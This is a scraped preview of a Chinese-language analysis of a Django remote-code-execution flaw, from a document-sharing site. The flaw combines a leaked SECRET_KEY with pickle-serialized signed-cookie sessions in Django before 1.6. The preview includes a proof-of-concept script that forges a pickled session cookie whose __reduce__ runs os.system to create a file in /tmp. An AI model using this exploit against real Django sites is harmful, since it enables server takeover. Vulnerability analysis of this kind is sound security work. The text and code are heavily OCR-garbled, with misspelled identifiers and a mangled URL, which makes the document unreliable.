Django任意代码执行漏洞分析_第1页
Django任意代码执行漏洞分析_第2页
Django任意代码执行漏洞分析_第3页
Django任意代码执行漏洞分析_第4页
Django任意代码执行漏洞分析_第5页
已阅读5页,还剩4页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、django任意代码执行漏洞分析从django的sectet_i<ey到代码执行django是一个可以用于快速搭建髙性能,优雅的网站的 平台,由python写成。采用了 mvc的软件设计模式,即模 型m,视图v和控制器c。它最初是被开发来用于管理劳伦 斯出版集团旗下的一些以新闻内容为主的网站的,即是cms (内容管理系统)软件。并于2005年7月在bsd许可证下 发布。最近在进行网站代码审查的过程中,发现某些产品由于session使用不当,导致可能被攻击者利用,执行任意代码。这些产品在登录的js代码中,泄露了 secret_key,将该值作为密码加密的盐,这样就暴露了加密salt不太好吧

2、,更重要的是对django的安全造成了极大的威胁。2 secret_key 作用sectet_key在djanog中使用非常广泛,基本上涉及 到安全,加密等的地方都用到了,下面列举一些常见情景: 1, json object的签名2、加密函数,如密码重置,表单,评 论,csrf 的 key, session 数据这里面就要重点讲到session的问题,在这里使用不当就会导致代码执行3代码执行3.1 settings 的 session 设置django默认存储session到数据库中,但是可能会比较慢, 就会使用到缓存,文件,还有cookie等方式,如果采用了 cookie机制则有可能代码执行

3、,settings配置如下:session_engine=mjango.contrib.sessions.backends.signed_cookies,3.2 django 1.6 以下在djangol.6以下,session默认是采用pickle执行序列号 操作,在1.6及以上版本默认采用json序列化。代码执行只 存在于使用pickle序列话的操作中。3.3 session处理流程可以简单的分为两部分process_request和 process_response,前者负责选择session引擎,初始化cookie数据。见代码class sessionmiddleware(object

4、): def process_request(self, request): engine = import_module(settings.sesslon_engine) session_keyrequest.cookies.get(settings.session_cookie_name,none)process_response则是处理返回给用户的cookie信息?比 如修改过期时间等。在将session存入缓存后,可能在某个操 作中会用到session信息,这个时候就会通过反序列化操作从 缓存中取,如果反序列话引擎是采用pickle机制的话就存在 代码执行。反序列化的代码位于djang

5、o.core.signing.py中,这 个模块主要是一些签名,加解密操作,同时也包含序列化和 反序列化,默认采用json引擎,下面是反序列话loads的代 码:pythonjdef loads(s? key=none?salt=,django.core.signing1,seriali7er=j son serializer, max_age=n one):wwwreverse of dumpsq, raises badsignature if signaturefailssalt=salt).unsign (s,base64d = smart_str( timestampsigner(ke

6、y?max_age=max_age) decompress = false 0ifbase64d0 = 7:# it!s compressed; uncompress it first1 base64d = base64dl:decompress = true2 data = b64_decode(base64d)if decompress:3 data = zlib.decompress(data)return serializer q.loads (data)453.4构造pocpythonimport osos.environ.setdefaultcdjango_settings_mod

7、ulesettings)from django.conf import settingsfrom django.core import signingfromdjango.contrib.sessions.backendsimportsigned_cookiesclass run(object):url h .http、一 0243522pp8000、faviconicc/6 headers h (-coowsessionidh二ws-二 (sess) request: h ur三b2rcqucst(urlhcadcrs h headers)7 response h urllib2uropen

8、(request) prinr rcsponsc.rcado80 dcfreduce(sci)return (ossystem>ouch>mp、xxcrgendog)1scss h signing.dumpsunp2 seridizerhsignedcookiespickleserializelsamdjangocontribse ssionsbackcndssigncdcookics_)3 prinr sess4 imporr-tur 三 b2import cookielib2通过序列化run类,实现创建一个文件的操作,在反序 列化的时候执行这个操作。执行代码完成可看到在/tmp目录 创建xxlegend.log文件,同时web报500错误。总结利用条件总结起

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论